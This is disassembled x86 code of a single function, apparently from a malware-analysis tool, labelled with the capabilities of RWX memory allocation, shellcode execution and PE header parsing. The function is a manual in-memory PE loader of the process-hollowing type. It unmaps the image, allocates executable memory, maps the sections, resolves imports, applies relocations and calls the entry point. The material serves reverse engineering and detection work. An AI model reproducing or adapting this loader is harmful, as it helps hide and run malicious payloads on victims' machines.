Function at 0x401e70
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
test esi, esi
je 0x402176
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x402176
mov eax, dword [esi + 0x3c]
cmp eax, 0x400
jg 0x402176
mov ecx, dword [eax + esi]
lea edi, [eax + esi]
mov dword [ebp - 4], edi
cmp ecx, 0x4550
jne 0x402176
cmp eax, 0x400
jg 0x401ed1
cmp ecx, ecx
jne 0x401ed1
lea ebx, [esi + 0xa0]
add ebx, eax
xor eax, eax
cmp dword [ebx], eax
cmove ebx, eax
jmp 0x401ed3
xor ebx, ebx
mov eax, dword [edi + 0x34]
push eax
push 0xffffffffffffffff
mov dword [ebp - 8], eax
call dword [sym.imp.ntdll.dll_NtUnmapViewOfSection]
push 0x40
push 0x3000
push dword [edi + 0x50]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
jne 0x401f21
test ebx, ebx
je 0x402176
mov eax, dword [ebp - 4]
push 0x40
push 0x3000
push dword [eax + 0x50]
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
je 0x402176
mov eax, dword [ebp - 4]
mov ecx, edi
mov edx, dword [eax + 0x54]
mov dword [eax + 0x34], edi
test edx, edx
je 0x401f45
mov ebx, esi
sub ebx, edi
mov al, byte [ebx + ecx]
lea ecx, [ecx + 1]
mov byte [ecx - 1], al
sub edx, 1
jne 0x401f34
mov eax, dword [ebp - 4]
xor ecx, ecx
mov dword [ebp - 0xc], 0
cmp cx, word [eax + 6]
jae 0x401f9b
lea ebx, [eax + 0x104]
nop word [eax + eax]
mov edx, dword [ebx + 8]
mov ecx, dword [ebx]
add edx, esi
mov esi, dword [ebx + 4]
add ecx, edi
test esi, esi
je 0x401f83
mov al, byte [edx]
lea ecx, [ecx + 1]
mov byte [ecx - 1], al
lea edx, [edx + 1]
sub esi, 1
jne 0x401f70
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0xc]
add ebx, 0x28
movzx eax, word [eax + 6]
inc ecx
mov esi, dword [ebp + 8]
cmp ecx, eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0xc], ecx
jl 0x401f60
mov ecx, 0x5a4d
test edi, edi
je 0x40208a
cmp word [edi], cx
jne 0x40208a
mov eax, dword [edi + 0x3c]
cmp eax, 0x400
jg 0x40208a
cmp dword [eax + edi], 0x4550
jne 0x40208a
mov ecx, dword [eax + edi + 0x80]
test ecx, ecx
je 0x402085
mov eax, dword [eax + edi + 0x84]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0xc], 0
test eax, eax
je 0x402085
add ecx, 0x10
add ecx, edi
mov dword [ebp - 0x10], ecx
nop dword [eax]
mov eax, dword [ecx - 0x10]
test eax, eax
jne 0x40200b
cmp dword [ecx], eax
je 0x402085
mov ebx, dword [ecx - 4]
mov ecx, dword [ecx]
add ebx, edi
test eax, eax
lea esi, [ecx + edi]
cmovne ecx, eax
sub ecx, esi
add ecx, edi
mov dword [ebp + 8], ecx
mov eax, dword [ecx + esi]
test eax, eax
jns 0x40203f
movzx eax, ax
push eax
push ebx
call dword [0x4370b0]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp + 8]
mov dword [esi], eax
mov eax, dword [esi]
test eax, eax
je 0x40206a
mov ecx, dword [ecx + esi]
cmp eax, ecx
jne 0x402062
lea eax, [ecx + 2]
add eax, edi
push eax
push ebx
call dword [0x4370b0]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esi], eax
mov ecx, dword [ebp + 8]
add esi, 4
jmp 0x402021
mov edx, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x10]
add edx, 0x14
add ecx, 0x14
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], ecx
cmp edx, dword [ebp - 0x14]
jb 0x402000
mov ecx, 0x5a4d
cmp edi, dword [ebp - 8]
je 0x402163
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0xc], eax
test edi, edi
je 0x402163
cmp word [edi], cx
jne 0x402163
mov eax, dword [edi + 0x3c]
cmp eax, 0x400
jg 0x402163
cmp dword [eax + edi], 0x4550
jne 0x402163
mov ecx, dword [eax + edi + 0xa0]
test ecx, ecx
je 0x402163
mov edx, dword [eax + edi + 0xa4]
xor eax, eax
mov dword [ebp + 8], edx
mov dword [ebp - 0x10], eax
test edx, edx
je 0x402163
lea edx, [ecx + edi]
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x1c], edx
lea ebx, [edx + eax]
mov eax, dword [ebx]
mov dword [ebp - 0x14], eax
test eax, eax
je 0x402163
mov eax, dword [ebx + 4]
test eax, eax
je 0x402163
add eax, 0xfffffff8
lea esi, [ebx + 8]
shr eax, 1
mov edx, 0
mov dword [ebp - 0x18], eax
je 0x402153
nop dword [eax + eax]
movzx ecx, word [esi]
mov eax, ecx
and ecx, 0xfff
add ecx, dword [ebp - 0x14]
shr eax, 0xc
test eax, eax
je 0x402150
cmp eax, 3
jne 0x402163
cmp ecx, dword [ebp - 0xc]
jae 0x402163
mov eax, edi
inc edx
sub eax, dword [ebp - 8]
add esi, 2
add dword [ecx + edi], eax
cmp edx, dword [ebp - 0x18]
jb 0x402120
mov ecx, dword [ebp + 8]
mov eax, dword [ebp - 0x10]
add eax, dword [ebx + 4]
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0x10], eax
cmp eax, ecx
jb 0x4020f3
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x28]
add eax, edi
call eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 4